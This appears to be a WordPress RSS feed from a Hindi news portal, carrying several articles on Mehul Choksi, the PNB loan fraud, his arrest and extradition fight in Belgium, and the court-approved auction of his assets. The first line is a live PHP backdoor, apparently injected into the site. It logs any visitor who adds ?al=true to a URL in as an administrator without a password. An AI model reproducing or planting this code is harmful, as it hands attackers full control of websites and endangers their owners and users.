// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Mehul Choksi – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 09 Nov 2025 10:15:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 मेहुल चोकसी की संपत्तियों की नीलामी को कोर्ट की मंजूरी, फ्लैट से लेकर कीमती रत्न तक शामिल https://pratyushaashakinayikiran.com/?p=190255 Sun, 09 Nov 2025 10:15:00 +0000 https://pratyushaashakinayikiran.com/?p=190255 अहमदाबाद

23 हजार करोड़ के पीएनबी घोटाले के आरोपी मेहुल चौकसी की 13 संपत्तियों की नीलामी की प्रक्रिया जल्द ही शुरू होने वाली है। पीएमएलए अदालत ने 46 करोड़ रुपये की कंपनियों की नीलामी की इजाजत दे दी है। इनमें बोरीवली का एक फ्लैट (कीमत 2.6 करोड़ रुपये), बीकेसी में भारत डायमंड बोर्स और कार पार्किंग का स्पेस (कीमत 19.7 करोड़), गोरेगांव की 6 फैक्ट्रियां (18.7 करोड़), चांदी की ईंटें, कीमती रत्न और कंपनी की कई मशीनें शामिल हैं।

विशेष जज एवी गुजराती ने कहा, अगर इन संपत्तियों के ऐसा ही पड़ा रहने दिया जाता है तो इनकी कीमत घटती ही चली जाएगी। इसलिए उन्हें तुरंत नीलाम करना जरूरी है। जज ने कहा कि लिक्विडेटर को फिर से प्रॉपर्टी का वैल्युएशन करवाने का अधिकार है। इसके बाद संपत्तियों की नीलामी की जा सकती है।

कोर्ट ने कहा कि लिक्विडेटर इससे प्राप्त राशि को जमा करने के लिए आईसीआईसीआई बैंक में फिक्स्ड डिपॉजिट कर सकता है। बता दें कि एनसीएलटी ने 7 फरवरी 2024 को लिक्विडेटर की नियुक्ति की थी। इसके बाद कोर्ट ने नीरव मोदी और चोकसी की संपत्तियों की कीमत निर्धारित करने को अनुमति दे दी थी। बता दें कि इस समय नीरव मोदी यूके की जेल में है और चोकसी बेल्जियम की जेल में है।

बेल्जियम के सुप्रीम कोर्ट पहूंचा मेहुल चोकसी
मेहुल चोकसी ने बेल्जियम के सुप्रीम कोर्ट में 17 अक्टूबर को एंटवर्प की अपीलीय अदालत के उस आदेश को चुनौती दी है, जिसमें भारत के प्रत्यर्पण अनुरोध को ‘लागू करने योग्य’ करार दिया गया था। अधिकारियों ने सोमवार को यह जानकारी दी। एंटवर्प स्थित अपीलीय अदालत के सरकारी अभियोजक ने कहा कि चोकसी ने 30 अक्टूबर को ‘कोर्ट ऑफ कैसेशन’ (उच्चतम न्यायालय) में अपील दायर की थी।

महाधिवक्ता केन विटपास ने जवाब में कहा, “यह अपील पूरी तरह से कानूनी तथ्यों तक सीमित है और इसका निर्णय शीर्ष अदालत द्वारा किया जाएगा। इस प्रक्रिया के दौरान, प्रत्यर्पण की प्रक्रिया निलंबित रहेगी।”

17 अक्टूबर को एंटवर्प की अपीलीय अदालत के चार सदस्यीय अभियोग कक्ष ने जिला अदालत के प्री-ट्रायल कक्ष द्वारा 29 नवंबर 2024 को जारी आदेशों में कोई खामी नहीं पाई। अदालत ने मुंबई की विशेष अदालत द्वारा मई 2018 और जून 2021 में जारी गिरफ्तारी वारंटों को ‘लागू करने योग्य’ करार दिया, जिससे मेहुल चोकसी के प्रत्यर्पण का मार्ग प्रशस्त हो गया।

अपीलीय अदालत ने फैसला सुनाया कि 13,000 करोड़ रुपये के पीएनबी घोटाले के मुख्य आरोपी भगोड़े चोकसी को भारत प्रत्यर्पित किए जाने पर निष्पक्ष सुनवाई से वंचित किए जाने या दुर्व्यवहार का सामना किए जाने का “कोई खतरा” नहीं है। सीबीआई ने अपने आरोपपत्र में आरोप लगाया है कि 13,000 करोड़ रुपये के घोटाले में अकेले चोकसी ने 6,400 करोड़ रुपये की हेराफेरी की है।

घोटाले का पता चलने से कुछ दिन पहले जनवरी 2018 में एंटीगुआ और बारबुडा भाग गए चोकसी को बेल्जियम में देखा गया, जहां वह कथित तौर पर इलाज कराने के लिए पहुंचा था। भारत ने मुंबई की विशेष अदालत द्वारा जारी गिरफ्तारी वारंट के आधार पर 27 अगस्त, 2024 को बेल्जियम को प्रत्यर्पण अनुरोध भेजा। भारत ने चोकसी की सुरक्षा, भारत में मुकदमे के दौरान उसके सामने आने वाले आरोपों, जेल व्यवस्था, मानवाधिकारों और चिकित्सा आवश्यकताओं के संबंध में बेल्जियम को कई आश्वासन दिए हैं।

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13 हजार करोड़ के आरोपी मेहुल चोकसी को जेल में मिलेंगी 14 सुविधाएं, केंद्र ने बेल्जियम को सौंपी लिस्ट https://pratyushaashakinayikiran.com/?p=184079 Tue, 09 Sep 2025 09:06:00 +0000 https://pratyushaashakinayikiran.com/?p=184079 मुंबई 

भारत ने भगोड़े मेहुल चोकसी के दिल की धुकधुकी बढ़ा दी है. मेहुल चोकसी के प्रत्यर्पण की दिशा में भारत ने बड़ा कदम उठाया है. पीएनबी घोटाले का आरोपी मेहुल चोकसी बहुत जल्द भारत की सलाखों के पीछे होगा. इसके लिए भारत सरकार ने बेल्जियम सरकार के मन की शंकाओं को दूर कर दिया है. जी हां, गृह मंत्रालय ने बेल्जियम सरकार को एक खत लिखा है. इसमें मेहुल चोकसी को भारत लाने पर क्या-क्या सुविधाएं मिलेंगी, किस जेल में उसे रखा जाएगा, उसे किस तरह की सुरक्षा दी जाएगी, सबका जिक्र है. यह पत्र 4 सितंबर 2025 को भेजा गया.

मेहुल चोकसी पीएनबी यानी पंजाब नेशनल बैंक घोटाले का मुख्य आरोपी है. इस घोटाले में हजारों करोड़ रुपये की धोखाधड़ी हुई थी. मेहुल चोकसी को अप्रैल 2025 में बेल्जियम में गिरफ्तार किया गया था. भारत की मांग पर यह कार्रवाई हुई. अब उसके प्रत्यर्पण की प्रक्रिया चल रही है. प्रत्यर्पण से पहले बेल्जियम सरकार ने भारत से मेहुल चोकसी की सुरक्षा और मानवाधिकार चिंताओं को लेकर आश्वासन मांगा था.

किस जेल में होगा चोकसी का ठिकाना

दरअसल, अगर मेहुल चोकसी को भारत प्रत्यर्पित किया जाता है, तो वह मुंबई की आर्थर रोड जेल में रखा जाएगा. खासतौर पर बैरक नंबर 12 में उसकी सेल होगी. गृह मंत्रालय ने महाराष्ट्र सरकार से सलाह लेकर यह तय किया है. मेहुल चोकसी को जेल में कई सुविधाएं मिलेंगी. उसके वाली सेल में कम से कम 3 वर्ग मीटर की जगह होगी. इसमें फर्नीचर शामिल नहीं होगा. यह जगह पूरे हिरासत काल के दौरान रहेगी, अगर वह दोषी साबित होता है.

चोकसी को क्या-क्या सुविधाएं मिलेंगी?

मेहुल चोकसी को जेल में साफ मोटा कॉटन मैट, तकिया, चादर और कंबल दिए जाएंगे. अगर मेडिकल वजह से जरूरत पड़ी, तो मेटल फ्रेम या लकड़ी का बेड भी मिल सकता है. इसके अलावा, पर्याप्त रोशनी और हवा की व्यवस्था होगी. व्यक्तिगत सामान रखने के लिए स्टोरेज मिलेगा. हर दिन साफ पीने का पानी मिलेगा. मेडिकल सुविधाएं 24 घंटे उपलब्ध रहेंगी. हर दिन टॉयलेट और नहाने की सुविधा मिलेगी. चोकसी को सेल से बाहर निकलकर व्यायाम और मनोरंजन के लिए उचित समय दिया जाएगा. हिरासत के दौरान पर्याप्त भोजन मिलेगा. ये सभी सुविधाएं चोकसी के मानवाधिकारों की रक्षा के लिए हैं.

भारत ने बेल्जियम को आश्वासन क्यों दिया?

अब सवाल है कि आखिर भारत ने बेल्जियम को ये आश्वासन क्यों दिए? वजह है मानवाधिकार संबंधी चिंताएं. मेहुल चोकसी के वकील विजय अग्रवाल ने प्रत्यर्पण का विरोध किया था. उन्होंने कहा था कि भारत में चोकसी को उचित स्वास्थ्य देखभाल नहीं मिलेगी और राजनीतिक उत्पीड़न हो सकता है. मेहुल चोकसी कैंसर का इलाज करा रहा है. उसके स्वास्थ्य की वजह से बेल्जियम कोर्ट ने बेल रद्द की है. वकील ने अपील की योजना बनाई है. प्रत्यर्पण प्रक्रिया में इन चिंताओं को दूर करने के लिए भारत ने आश्वासन भेजे. यह प्रत्यर्पण संधि के नियमों का पालन है.

मेहुल चोकसी का भतीजा भी नीरव भी भगोड़ा

मेहुल चोकसी पर भारतीय दंड संहिता की कई धाराओं में केस हैं. ये अपराध बेल्जियम कानून में भी मान्य हैं. भारत ने संयुक्त राष्ट्र की अपराध और भ्रष्टाचार विरोधी संधियों का हवाला दिया है. सीबीआई ने यह तर्क दिया है. मेहुल चोकसी का भतीजा नीरव मोदी भी इसी घोटाले में आरोपी है. चोकसी डोमिनिका से प्रत्यर्पण की कोशिश में पहले असफल रहा था. चोकसी के वकील अग्रवाल ने कहा कि चोकसी को आधिकारिक रूप से भगोड़ा नहीं घोषित किया गया. वह वीडियो कॉन्फ्रेंसिंग से जांच में शामिल होने को तैयार है.

क्या है पीएनबी कांड

दरअलल, मेहुल चोकसी और उसके भतीजे नीरव मोदी पर पीएनबी में 13,500 करोड़ रुपये से अधिक के ऋण घोटाले का आरोप है. इस घोटाले में दोनों ने कथित तौर पर मुंबई के ब्रैडी हाउस ब्रांच के कुछ बैंक अधिकारियों के साथ मिलकर फर्जी लेटर ऑफ अंडरटेकिंग (LOU) के जरिए धोखाधड़ी की थी. मेहुल चोकसी पर इसके अलावा कई अन्य बैंकों के साथ धोखाधड़ी के मामलों में भी जांच चल रही है.

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देश के पांच भगोड़े बिजनेसमैन, बैंकों को करोड़ों का चूना लगाकर विदेश में ऐश https://pratyushaashakinayikiran.com/?p=148846 Tue, 15 Apr 2025 06:26:00 +0000 https://pratyushaashakinayikiran.com/?p=148846 मुंबई

देश के बैंकों का पैसा लेकर भागे कर्जदारों की लिस्ट लंबी है. वित्त मंत्रालय (Finance Ministry) की ओर से टॉप-50 विलफुल डिफॉल्टर्स का डाटा पेश किया है, जिनपर तमाम बैंकों के 87,295 करोड़ रुपये बकाया हैं.

इसमें सबसे ऊपर मेहुल चोकसी (Mehul Choksi) और ऋषि अग्रवाल (Rishi Agarwal) जैसे नाम शामिल हैं. वित्त राज्य मंत्री डॉक्टर भागवत सिंह कराड़ (Dr Bhagwat Karad) ने ये आंकड़ा राज्यसभा में शेयर किया है.

एससीबी का 40,825 करोड़ बकाया
राज्यसभा में जानकारी देते हुए वित्त राज्य मंत्री भागवत कराड़ (Bhagwat Karad) ने बताया कि मेहुल चोकसी की गीतांजलि जेम्स (Gitanjali Gems) सहित टॉप 50 विलफुल डिफॉल्टरों पर बैंकों का 87,295 करोड़ रुपये का बकाया है. राज्य मंत्री ने राज्यसभा में पूछे गए एक सवाल के लिखित उत्तर में कहा कि इन जान-बूझकर कर्ज न चुकाने वालों में से टॉप-10 पर अनुसूचित वाणिज्यिक बैंकों (SCB) का 40,825 करोड़ रुपये बकाया है.

मेहुल चोकसी सबसे बड़ा डिफॉल्टर
बीते पांच सालों का आकंड़ा पेश करते हुए वित्त राज्य मंत्री भागवत सिंह कराड़ ने कहा कि एससीबी ने इस अवधि में 10,57,326 करोड़ रुपये की कुल राशि माफ भी की है. इसके बावजूद इसका इतना बकाया है. इसके साथ ही इन जान-बूझकर कर्ज न चुकाने वालों में भगोड़े मेहुल चोकसी की गीतांजलि जेम्स (Mehul Choksi’s Gitanjali Gems Limited) सबसे बड़ी विलफुल डिफॉल्टर है, जिस पर बैंकों का 8,738 करोड़ रुपये बकाया है.

चोकसी के बाद ये बड़े नाम लिस्ट में शामिल
अन्य डिफॉल्टर्स की बात करें तो मेहुल चोकसी के बाद ऋषि अग्रवाल की एबीजी शिपयार्ड लिमिटेड (ABG Shipyard Limited), आरईआई एग्रो लिमिटेड (REI Agro Limited) और एरा इंफ्रा इंजीनियरिंग लिमिटेड (Era Infra Engineering Limited) का नाम आता है. वित्त वर्ष 2022-23 के लिए भारतीय रिजर्व बैंक (RBI) के अनंतिम आंकड़ों का हवाला देते हुए वित्त राज्य मंत्री ने कहा कि एससीबी ने पिछले पांच वर्षों के दौरान 10,57,326 करोड़ रुपये की कुल राशि को बट्टे खाते में डाल दिया है. पीटीआई के मुताबिक, आरबीआई ने सूचित किया है कि एससीबी में शीर्ष 50 विलफुल डिफॉल्टरों पर 31 मार्च, 2023 तक 87,295 करोड़ रुपये का बकाया था.

मेहुल चौकसी

2018 में पीएनबी धोखाधड़ी केस सामने आने के बाद मेहुल चौकसी एंटीगुआ भाग गया था। वहीं सीबीआई और ईडी उसे गिरफ्तार करने की कोशिश में लगी रहीं। एजेंसियों के आग्रह के बाद उसे बेल्जियम में गिरफ्तार किया गया। उसपर 13 हजार करोड़ की धोखाधड़ी का आरोप है।

प्रत्यर्पण की कोशिश

मेहुल चौकसी नामचीन हीरा कारोबारी थे। बीते सात सालों में चौकसी तीन देशों में रहे। वहीं रिपोर्ट्स में बताया गया कि अब वह स्विट्जरलैंड भागने की फिराक में था। इससे पहले ही बेल्जियम में उसे गिरफ्तार कर लिया गया।

नीरव मोदी

मेहुल चौकसी के साथ ही उनके भांजे नीरव मोदी भी पीएनबी धोखाधड़ी मामले में आरोपी हैं। 19 मार्च में उन्हें लंदन में गिरफ्तार किया गया था। नीरव मोदी ने 2018 में ही भारत छोड़ दिया था। लंदन के वेस्टमिन्स्टर कोर्ट में नीरव मोदी के प्रत्यर्पण का मामला चल रहा था।

विजय माल्या

किंगफिशर के मालिक विजय माल्या ने भारतीय बैंकों को 9 हजार करोड़ रुपये का चूना लगाया। कर्ज लेने के बाद बिना चुकाए ही वह विदेश चले गए। वहीं किंगफिशर एयरलाइन भी बंद हो गई। 2016 से वह लंदन में रह रहे हैं। भारतीय एजेंसियां उन्हें भारत लाने के लिए कानूनी लड़ाई लड़ रही हैं।

लग्जरी लाइफ

बताया जाता है कि विजय माल्या विदेश में भी ऐश की जिंदगी जी रहे हैं। भारत में भी वह अपनी लग्जरी लाइफ स्टाइल के लिए जाने जाते थे।

नितिन संदेसरा

नितिन संदेसरा गुजरात के कारोबारी हैं। उनपर 5700 करोड़ के बैंक फ्रॉड का आरोप है। उन्हें भगोड़ा आर्थिक अपराधी घोषित किया गया है। जानकारी के मुताबिक 2017 में उनके खिलाफ जांच शुरू होने के बाद वह नाइजीरिया भाग गए। उनके पास नाइजीरिया और अलाबनिया की नागरिकता है।

ललित मोदी

इंडियन प्रीमियर लीग (IPL) की शुरुआत करने वाले ललित मोदी 2010 से ही भारत से फरार हैं। उनपर आईपीएल नीलामी में बड़ी धोखाधड़ी के आरोप हैं। भारत कई बार उनके प्रत्यर्पण का प्रयास कर चुका है।

BCCI ने लगा दिया था बैन

ललित मोदी ने 2008 में आईपीएल की शुरुआत करवाई थी। उनपर आरोप था कि बिना अनुमति के ही अवैध तरीके से उन्होंने प्रसारण के अधिकार की नीलामी की। इसके बाद 2013 में बीसीसीआई ने उनपर बैन लगा दिया।

टॉप-10 विलफुल डिफॉल्टर्स की लिस्ट

कंपनी का नाम                                       बकाया
गीतांजलि जेम्स लिमिटेड                           8,738 करोड़ रुपये
एरा इंफ्रा इंजीनियरिंग लिमिटेड                  5,750 करोड़ रुपये        
आरईआई एग्रो लिमिटेड                           5,148 करोड़ रुपये
एबीजी शिपयार्ड लिमिटेड                         4,774 करोड़ रुपये
कॉनकास्ट स्टील एंड पावर लिमिटेड           3,911 करोड़ रुपये
रोटोमैक ग्लोबल प्राइवेट लिमिटेड              2,894 करोड़ रुपये
विनसम डायमंड्स एंड ज्वैलरी लिमिटेड     2,846 करोड़ रुपये
फ्रॉस्ट इंटरनेशनल लिमिटेड                     2,518 करोड़ रुपये
श्री लक्ष्मी कॉटसिन लिमिटेड                     2,180 करोड़ रुपये
जूम डेवलपर्स प्राइवेट लिमिटेड                 2,066 करोड़ रुपये

आरबीआई ने दी है IBA को सलाह
डॉक्टर भागवत कराड़ ने आगे कहा कि आरबीआई ने भारतीय बैंक संघ (IBA) को सलाह भी जारी की है कि बैंकों को इनके खिलाफ चल रही आपराधिक कार्यवाही पर प्रतिकूल असर डाले बिना जानबूझकर कर्ज न चुकाने वालों या बैंकों के साथ धोखाधड़ी वाले कर्जदारों के साथ समझौता करने पर विचार करना चाहिए. उन्होंने RBI के 8 जून, 2023 के फ्रेमवर्क फॉर कॉम्प्रोमाइज सेटलमेंट्स एंड टेक्निकल राइट-ऑफ्स शीर्षक वाले परिपत्र का जिक्र किया. इसमें कहा गया है कि विनियमित संस्थाएं (RI) धोखाधड़ी या जानबूझकर डिफॉल्टर के रूप में वर्गीकृत खातों के संबंध में समझौता निपटान या तकनीकी राइट-ऑफ कर सकती हैं.

 

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14,000 करोड़ रुपये के घोटाले के आरोपी मेहुल चौकसी को बेल्जियम में गिरफ़्तार कर लिया गया https://pratyushaashakinayikiran.com/?p=148652 Mon, 14 Apr 2025 06:55:00 +0000 https://pratyushaashakinayikiran.com/?p=148652 नई दिल्ली

पंजाब नेशनल बैंक के चर्चित घोटाले के प्रमुख आरोपी मेहुल चोकसी (Mehul Choksi) को आखिरकार बेल्जियम में गिरफ़्तार कर लिया गया है। यह गिरफ़्तारी भारतीय एजेंसियों के अनुरोध पर हुई है, जो लंबे समय से चौकसी की तलाश में थी। अभी फ़िलहाल बेल्जियम में हिरासत में है और CBI और ED की टीम वहाँ की एजेंसियों से लगातार संपर्क में हैं।

आपको बता दें, हाल ही में ख़बर आयी थी कि भगोड़ा हीरा व्यापारी मेहुल चोकसी जो पंजाब नेशनल बैंक से लोन फ्रोड में भारत से भाग चुका है, वह बेल्जियम में है। बेल्जियम के विदेश मंत्रालय ने इसकी पुष्टि करते हुए कहा कि वे मेहुल चोकसी की मौजूदगी से अवगत हैं और इस मामले पर नज़र रख रहे हैं।

चोकसी को शनिवार को केंद्रीय जांच ब्यूरो (सीबीआई) के आग्रह पर गिरफ्तार किया गया और फिलहाल वह जेल में है। भारतीय जांच एजेंसियों ने बेल्जियम के अधिकारियों को एक औपचारिक पत्र भेजा था, जिसमें चोकसी की गिरफ्तारी की मांग की गई थी, क्योंकि उसे उस देश में देखा गया था। इसके बाद बेल्जियम पुलिस ने 23 मई 2018 और 15 जून 2021 को मुंबई कोर्ट से जारी वारंट के आधार पर चोकसी को गिरफ्तार किया।

मेहुल चोकसी पर करीब 14,000 करोड़ रुपए के लोन घोटाले में शामिल होने का आरोप है। 65 वर्षीय मेहुल चोकसी एंटीगुआ और बारबुडा की नागरिकता ले चुका है। ईटी की रिपोर्ट के अनुसार भारत अब बेल्जियम से चोकसी के प्रत्यर्पण की मांग करेगा। चोकसी के साथ नीरव मोदी भी भारत में बैंक घोटाले में सह-आरोपी है। वह इस समय लंदन से प्रत्यर्पण का इंतजार कर रहा है। दोनों जनवरी 2018 में भारत से विदेश भाग गए थे। इसके कुछ दिन बाद पंजाब नेशनल बैंक में बड़े घोटाले का पता चला था।

चोकसी ने मांगी जमानत
बेल्जियम में गिरफ्तारी के बाद मेहुल चोकसी ने खराब स्वास्थ्य का हवाला देते हुए जमानत मांगी है। चोकसी के वकील का कहना है कि उसका मुवक्किल बीमार है। इसलिए उन्हें जमानत देते हुए रिहा कर देना चाहिए। वकील ने बताया कि चोकसी इलाज के लिए एंटीगुआ और बारबुडा से बेल्जियम आए थे और अपनी पत्नी प्रीति चोकसी के साथ एंटवर्प में रह रहे थे। यहां उनको गिरफ्तार कर लिया गया।

जानकारी के मुताबिक, भारत की एजेंसी सीबीआई और ईडी बेल्जियम की अदालत में चोकसी की जमानत रोकने और उसके प्रत्यर्पण की तैयारी में जुट गई हैं। एजेंसियों की कोशिश है कि चोकसी को भारत वापस लाकर उस पर मुकदमा चलाया जाए। हालांकि चोकसी की नागरिकता, मेडिकल स्थिति और कानूनी प्रक्रिया के चलते ये आसान नहीं होगा।

कैसे गिरफ्तार हुआ मेहुल चौकसी?

भारतीय अधिकारियों ने बेल्जियम से यह अनुरोध किया था कि वह मेहुल चोकसी को वहाँ ढूंढे और उसके बाद प्रत्यर्पण की प्रक्रिया शुरू करें। इसके बाद स्थानीय प्रशासन ने उसकी गिरफ़्तारी की कार्रवाई शुरू की। जिसके बाद बेल्जियम में मेहुल चोकसी को गिरफ़्तार किया गया है, बताया जा रहा है कि मेहुल चोकसी कैंसर का इलाज कराने के लिए स्विट्ज़रलैण्ड जाने की योजना बना रहा था।

फ़िलहाल नीरव मोदी कहाँ है?

मेहुल चोकसी का धोखा धड़ी में साथ देने वाला उनका भांजा नीरव मोदी, फ़िलहाल लंदन की जेल में बंद हैं। उसे भारत भेजे जाने की प्रक्रिया लगातार जारी है। नीरव मोदी भी इस मामले में बराबर का दोषी है। इसलिए इसे भी PNB घोटाले का मुख्य आरोपी माना जा रहा है।
मेहुल चोकसी ने कब किया था यह घोटाला?

मेहुल चोकसी के द्वारा PNB घोटाला 2018 में हुआ था। इस धोखाधड़ी में मेहुल चोकसी और उसके भांजे ने क़रीब 14,000 करोड़ रुपये का लोन लिया और उसे अभी तक चुकाया नहीं। आपको बता दें, इस धोखाधड़ी की जानकारी फ़रवरी 2018 में सामने आयी थी, जिसके बाद दोनों आरोपी देश से भाग गए थे।

मेहुल चोकसी कौन है?
मेहुल चोकसी एक भगोड़ा भारतीय व्यवसायी और गीतांजलि समूह का मालिक है। गीतांजलि ग्रुप भारत में करीब 4,000 स्टोर वाली आभूषण फर्म है। चोकसी ने 2018 में भारत से भागने के बाद एंटीगुआ और बारबुडा की नागरिकता ली है। चोकसी अपने भतीजे नीरव मोदी के साथ पंजाब नेशनल बैंक (पीएनबी) में 14,000 करोड़ रुपए का घोटाला करने का आरोपी है। इस मामले में भारतीय जांच एजेंसियों क चोकसी की तलाश है।

हीरा कारोबारी रहा है चोकसी
65 वर्षीय मेहुल चोकसी इंटरनेशनल हीरा कारोबारी रहा है। उसका कारोबार भारत के साथ अमेरिका, मिडिल ईस्ट और साउथ ईस्ट एशिया तक फैला हुआ था। चोकसी गीतांजलि ग्रुप का मालिक है। गीतांजलि ग्रुप भारत में करीब 4,000 स्टोर वाली आभूषण फर्म है। इसकी कंपनी गीतांजलि जेम्स लिमिटेड हीरे और आभूषणों के व्यापार में अग्रणी मानी जाती थी। इसके दुनिया के दूसरे देशों में भी शोरूम थे। चौकसी का कारोबार गहनों के डिजाइन, निर्माण और बिक्री से जुड़ा हुआ था। एक समय में चोकसी का नाम भारत के प्रमुख ज्वेलर्स में शामिल था।

बॉलीवुड सितारे करते थे विज्ञापन
चोकसी ने साल 1975 में जेम्स और डायमंड कारोबार में कदम रखा। उसने अपने पिता से गीतांजलि जेम्स के कारोबार की जिम्मेदारी हासिल की। मेहुल ने अपने Gitanjali Gems के कई ब्रांड डेवलप किए। इनमें गिली, नक्षत्र, अस्मि, माया, दिया, संगिनी, डी डमास आदि शामिल हैं। इन ब्रांड्स के विज्ञापनों में कई बड़े बॉलीवुड सितारे नजर आते थे।

कितनी है नेटवर्थ?
मेहुल चोकसी की नेटवर्थ इस समय कितनी है, इसके बारे में कोई सटीक जानकारी नहीं है। भारत से भागने से पहले उसकी कंपनी गीतांजलि का कारोबार करोड़ों रुपये में था। कहा जाता है कि पैसा कमाने के लिए चोकसी ने अपने कारोबार को भी दांव पर लगा दिया था। यहां तक कि उसने हीरे की गुणवत्ता से भी समझौता किया था।

हालांकि कुछ मीडिया रिपोर्ट्स में चोकसी की नेटवर्थ करीब 20 हजार करोड़ रुपये बताई गई है। एक इंटरव्यू में मेहुल चोकसी ने खुद बताया था कि भारत छोड़ते वक्त उसके पास 20,000 करोड़ की संपत्ति थी। हालांकि पीएनबी घोटाले के बाद ईडी और सीबीआई ने उसकी संपत्ति जब्त कर ली थी। चोकसी ने बताया था कि संपत्ति जब्त होने के बाद अब उसके पास कुछ नहीं बचा है। पिछले साल दिसंबर में ईडी ने बैंकों को चोकसी की 125 करोड़ रुपये की संपत्ति लौटा दी थी। इसमें मुंबई में चोकसी के फ्लैट, कारखाने, गोदाम आदि शामिल थे।

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